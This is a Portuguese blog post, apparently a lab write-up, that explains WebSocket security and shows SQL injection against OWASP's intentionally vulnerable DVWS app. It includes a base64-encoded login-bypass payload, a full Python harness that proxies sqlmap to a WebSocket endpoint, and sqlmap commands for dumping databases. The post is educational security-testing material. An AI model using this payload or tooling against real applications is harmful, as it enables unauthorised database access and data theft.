“E você, sabe o que é websocket..?”
O que é?
É um protocolo de comunicação que veio junto com a especificação do HTML5, diferente do HTTP esse protocolo é bidirecional. Isso significa que um tunel será fechado entre o navegador e o servidor, enviando e recebendo informaçnao de forma contínua.
Isso torna a comunicação muito mais rápida, sendo muito utilizado em programas de chat e jogos!
É Vuln?? ¯\_(ツ)_/¯
Mesmo com todas suas vantagens as vulnerabilidades mais comuns em aplicações HTTP podem ser encontradas também em websockets.
Algumas delas são:
- DoS Attacks
- No authentication during the handshake process
- Unencrypted TCP channels
- Vulnerability to input data attacks
- Data masking
- Authorization/authentication
- Tunneling
Não encontrei nehuma vuln no protocolo em si na forma que ele foi construído, se alguém souber me avisa. \o/
DVWS
A OWASP como sempre a um passo na frente quando o assunto é disponibilizar conteúdo de estudos para a comunidade.
Criou uma aplicação com diversas implemetações vulneraveis do websocket e hoje irei abordar um pouco sobre essa belezura que pelas bandas que eu ando não é um assunto tão frequente e que eu vejo que deve ter mais atenção!
Demo
Agora irei fazer uma pequena demonstração explorando o “Error based SQL Injection” que a aplicação possui. Essa é a carinha dela uma vez que sobe a aplicação..
Basicamente o que vamos explorar essa vuln de forma manul e automatizada.
Manual
Assim que enviamos um usuário e senha qualquer, no burp podemos ver que a primeira conexão que acontece é a da handshake, que é quando utilizamos HTTP para fechar uma conexão e posteriormente trocar as mensagens por websocket.
Se olhar a requesição na aba “Websocket history”, vamos ver mais ou menos o seguinte:
- Uma mensagem sendo enviada do cliente para o servidor
{"auth_user":"YWRtaW4=","auth_pass":"YWRtaW5h"}
- Uma mensagem do servidor respondendo ao cliente
<pre>Invalid username/password</pre>
Utilizando o burp, podemos enviar para a aba do repeater e brincar com essa request.
Assim a única coisa que falta neste exemplo é criar um payload para bypass de SQL injection encodar em base64 para seguir o padrão que o servidor está esperando e ver que conseguimos explorar SQLi em websockets.
Payload utilizado para PoC
{"auth_user":"YWRtaW4=","auth_pass":"dnVsbicgT1IgTk9UIDU1NjI9MTgzMiM="}
Automatizado
Navegando pelos 7 mares da internet, encontrei um link bacana onde alguém desenvolveu um código em python que facilita nossa vida. Que pode ser econtrado aqui!, esse link contém não só o código mas também toda uma explicação sobre como foi o processo de exploração.
Obs. Todos os créditos desse código criado são da equipe do vdalabs ^.^
Codificando
Código python
#!/usr/bin/python
import socket,ssl
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
from websocket import create_connection, WebSocket
from urlparse import parse_qs
import argparse
import os
LOOP_BACK_PORT_NUMBER = 8000
def FuzzWebSocket(fuzz_value):
print fuzz_value
ws.send(ws_message.replace("[FUZZ]", str(fuzz_value[0])))
result = ws.recv()
return result
def LoadMessage(file):
file_contents = ""
try:
if os.path.isfile(file):
f = open(file,'r')
file_contents = f.read()
f.close()
except:
print ("Error reading file: %s" % file)
exit()
return file_contents
class myWebServer(BaseHTTPRequestHandler):
#Handler for the GET requests
def do_GET(self):
qs = parse_qs(self.path[2:])
fuzz_value = qs['fuzz']
result = FuzzWebSocket(fuzz_value)
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
self.wfile.write(result)
return
parser = argparse.ArgumentParser(description='Web Socket Harness: Use traditional tools to assess web sockets')
parser.add_argument('-u','--url', help='The remote WebSocket URL to target.',required=True)
parser.add_argument('-m','--message', help='A file that contains the WebSocket message template to send. Please place [FUZZ] where injection is desired.',required=True)
args = parser.parse_args()
ws_message = LoadMessage(args.message)
ws = create_connection(args.url,sslopt={"cert_reqs": ssl.CERT_NONE},header={},http_proxy_host="", http_proxy_port=8080)
try:
#Create a web server and define the handler to manage the
#incoming request
server = HTTPServer(('', LOOP_BACK_PORT_NUMBER), myWebServer)
print 'Started httpserver on port ' , LOOP_BACK_PORT_NUMBER
#Wait forever for incoming http requests
server.serve_forever()
except KeyboardInterrupt:
print '^C received, shutting down the web server'
server.socket.close()
ws.close()
Basicamente agora só precisamos criar nosso arquivo message.txt que é onde vai ficar nosso payload com a apalvra FUZZ que é para que o script em opython possa identificar onde é o ponto que ele tem que enviar os payloads e fazer a substituição.
- message.txt:
{"auth_user":"dGVzdA==","auth_pass":"[FUZZ]"}
- Executando o script:
python WebSocket-Harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt
- Comando sqlmap:
sqlmap -u "http://127.0.0.1:8000/?fuzz=vuln" --dbs --tamper=base64encode
E… Voilà
Assim conseguimos explorar e dumpar o banco de dados de forma automatizada! Recomendo que briquem mais com essa máquina, explorem todas as outras vulns.
Por hoje é só, espero que tenha sido útil pra você, assim como foi pra mim. 🤓